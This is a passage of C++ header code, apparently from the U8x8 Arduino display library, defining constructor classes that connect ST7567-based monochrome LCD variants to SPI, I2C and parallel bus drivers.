u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_ST7567_PI_132X64_3W_HW_SPI : public U8X8 { public: U8X8_ST7567_PI_132X64_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_pi_132x64, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_ST7567_PI_132X64_6800 : public U8X8 { public: U8X8_ST7567_PI_132X64_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_pi_132x64, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7567_PI_132X64_8080 : public U8X8 { public: U8X8_ST7567_PI_132X64_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_pi_132x64, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7567_PI_132X64_SW_I2C : public U8X8 { public: U8X8_ST7567_PI_132X64_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_pi_132x64, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_ST7567_PI_132X64_HW_I2C : public U8X8 { public: U8X8_ST7567_PI_132X64_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_pi_132x64, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_ST7567_PI_132X64_2ND_HW_I2C : public U8X8 { public: U8X8_ST7567_PI_132X64_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_pi_132x64, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_ST7567_JLX12864_4W_SW_SPI : public U8X8 { public: U8X8_ST7567_JLX12864_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_jlx12864, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_ST7567_JLX12864_4W_HW_SPI : public U8X8 { public: U8X8_ST7567_JLX12864_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_jlx12864, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7567_JLX12864_2ND_4W_HW_SPI : public U8X8 { public: U8X8_ST7567_JLX12864_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_jlx12864, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7567_JLX12864_3W_SW_SPI : public U8X8 { public: U8X8_ST7567_JLX12864_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_jlx12864, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_ST7567_JLX12864_3W_HW_SPI : public U8X8 { public: U8X8_ST7567_JLX12864_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_jlx12864, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_ST7567_JLX12864_6800 : public U8X8 { public: U8X8_ST7567_JLX12864_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_jlx12864, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7567_JLX12864_8080 : public U8X8 { public: U8X8_ST7567_JLX12864_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_jlx12864, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7567_ENH_DG128064_4W_SW_SPI : public U8X8 { public: U8X8_ST7567_ENH_DG128064_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_enh_dg128064, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_ST7567_ENH_DG128064_4W_HW_SPI : public U8X8 { public: U8X8_ST7567_ENH_DG128064_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_enh_dg128064, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7567_ENH_DG128064_2ND_4W_HW_SPI : public U8X8 { public: U8X8_ST7567_ENH_DG128064_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_enh_dg128064, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7567_ENH_DG128064_3W_SW_SPI : public U8X8 { public: U8X8_ST7567_ENH_DG128064_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_enh_dg128064, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_ST7567_ENH_DG128064_3W_HW_SPI : public U8X8 { public: U8X8_ST7567_ENH_DG128064_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_enh_dg128064, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_ST7567_ENH_DG128064_6800 : public U8X8 { public: U8X8_ST7567_ENH_DG128064_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_enh_dg128064, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7567_ENH_DG128064_8080 : public U8X8 { public: U8X8_ST7567_ENH_DG128064_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_enh_dg128064, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7567_ENH_DG128064I_4W_SW_SPI : public U8X8 { public: U8X8_ST7567_ENH_DG128064I_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_enh_dg128064i, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_ST7567_ENH_DG128064I_4W_HW_SPI : public U8X8 { public: U8X8_ST7567_ENH_DG128064I_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_enh_dg128064i, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7567_ENH_DG128064I_2ND_4W_HW_SPI : public U8X8 { public: U8X8_ST7567_ENH_DG128064I_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_enh_dg128064i, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7567_ENH_DG128064I_3W_SW_SPI : public U8X8 { public: U8X8_ST7567_ENH_DG128064I_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_enh_dg128064i, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_ST7567_ENH_DG128064I_3W_HW_SPI : public U8X8 { public: U8X8_ST7567_ENH_DG128064I_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_enh_dg128064i, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_ST7567_ENH_DG128064I_6800 : public U8X8 { public: U8X8_ST7567_ENH_DG128064I_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_enh_dg128064i, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7567_ENH_DG128064I_8080 : public U8X8 { public: U8X8_ST7567_ENH_DG128064I_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_enh_dg128064i, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7567_OS12864_4W_SW_SPI : public U8X8 { public: U8X8_ST7567_OS12864_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_os12864, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_ST7567_OS12864_4W_HW_SPI : public U8X8 { public: U8X8_ST7567_OS12864_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_os12864, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7567_OS12864_2ND_4W_HW_SPI : public U8X8 { public: U8X8_ST7567_OS12864_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_os12864, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7567_OS12864_3W_SW_SPI : public U8X8 { public: U8X8_ST7567_OS12864_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_os12864, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_ST7567_OS12864_3W_HW_SPI : public U8X8 { public: U8X8_ST7567_OS12864_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_os12864, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_ST7567_OS12864_6800 : public U8X8 { public: U8X8_ST7567_OS12864_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_os12864, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7567_OS12864_8080 : public U8X8 { public: U8X8_ST7567_OS12864_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_os12864, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7567_JLX12864_SW_I2C : public U8X8 { public: U8X8_ST7567_JLX12864_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_jlx12864, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_ST7567_JLX12864_HW_I2C : public U8X8 { public: U8X8_ST7567_JLX12864_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_jlx12864, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_ST7567_JLX12864_2ND_HW_I2C : public U8X8 { public: U8X8_ST7567_JLX12864_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_jlx12864, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_ST7567_ENH_DG128064_SW_I2C : public U8X8 { public: U8X8_ST7567_ENH_DG128064_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_enh_dg128064, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_ST7567_ENH_DG128064_HW_I2C : public U8X8 { public: U8X8_ST7567_ENH_DG128064_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_enh_dg128064, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_ST7567_ENH_DG128064_2ND_HW_I2C : public U8X8 { public: U8X8_ST7567_ENH_DG128064_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_enh_dg128064, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_ST7567_ENH_DG128064I_SW_I2C : public U8X8 { public: U8X8_ST7567_ENH_DG128064I_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_enh_dg128064i, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_ST7567_ENH_DG128064I_HW_I2C : public U8X8 { public: U8X8_ST7567_ENH_DG128064I_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_enh_dg128064i, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_ST7567_ENH_DG128064I_2ND_HW_I2C : public U8X8 { public: U8X8_ST7567_ENH_DG128064I_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_enh_dg128064i, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_ST7567_OS12864_SW_I2C : public U8X8 { public: U8X8_ST7567_OS12864_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_os12864, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_ST7567_OS12864_HW_I2C : public U8X8 { public: U8X8_ST7567_OS12864_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_os12864, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_ST7567_OS12864_2ND_HW_I2C : public U8X8 { public: U8X8_ST7567_OS12864_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_os12864, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_ST7567_ERC13232_4W_SW_SPI : public U8X8 { public: U8X8_ST7567_ERC13232_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_erc13232, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_ST7567_ERC13232_4W_HW_SPI : public U8X8 { public: U8X8_ST7567_ERC13232_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_erc13232, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7567_ERC13232_2ND_4W_HW_SPI : public U8X8 { public: U8X8_ST7567_ERC13232_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_erc13232, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7567_ERC13232_3W_SW_SPI : public U8X8 { public: U8X8_ST7567_ERC13232_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_erc13232, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_ST7567_ERC13232_3W_HW_SPI : public U8X8 { public: U8X8_ST7567_ERC13232_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_erc13232, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_ST7567_ERC13232_6800 : public U8X8 { public: U8X8_ST7567_ERC13232_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_erc13232, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7567_ERC13232_8080 : public U8X8 { public: U8X8_ST7567_ERC13232_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_erc13232, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7567_ERC13232_SW_I2C : public U8X8 { public: U8X8_ST7567_ERC13232_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_erc13232, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_ST7567_ERC13232_HW_I2C : public U8X8 { public: U8X8_ST7567_ERC13232_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_erc13232, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_ST7567_ERC13232_2ND_HW_I2C : public U8X8 { public: U8X8_ST7567_ERC13232_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_erc13232, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_ST7567_122X32_4W_SW_SPI : public U8X8 { public: U8X8_ST7567_122X32_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_122x32, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_ST7567_122X32_4W_HW_SPI : public U8X8 { public: U8X8_ST7567_122X32_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_122x32, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7567_122X32_2ND_4W_HW_SPI : public U8X8 { public: U8X8_ST7567_122X32_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_122x32, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7567_122X32_3W_SW_SPI : public U8X8 { public: U8X8_ST7567_122X32_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = 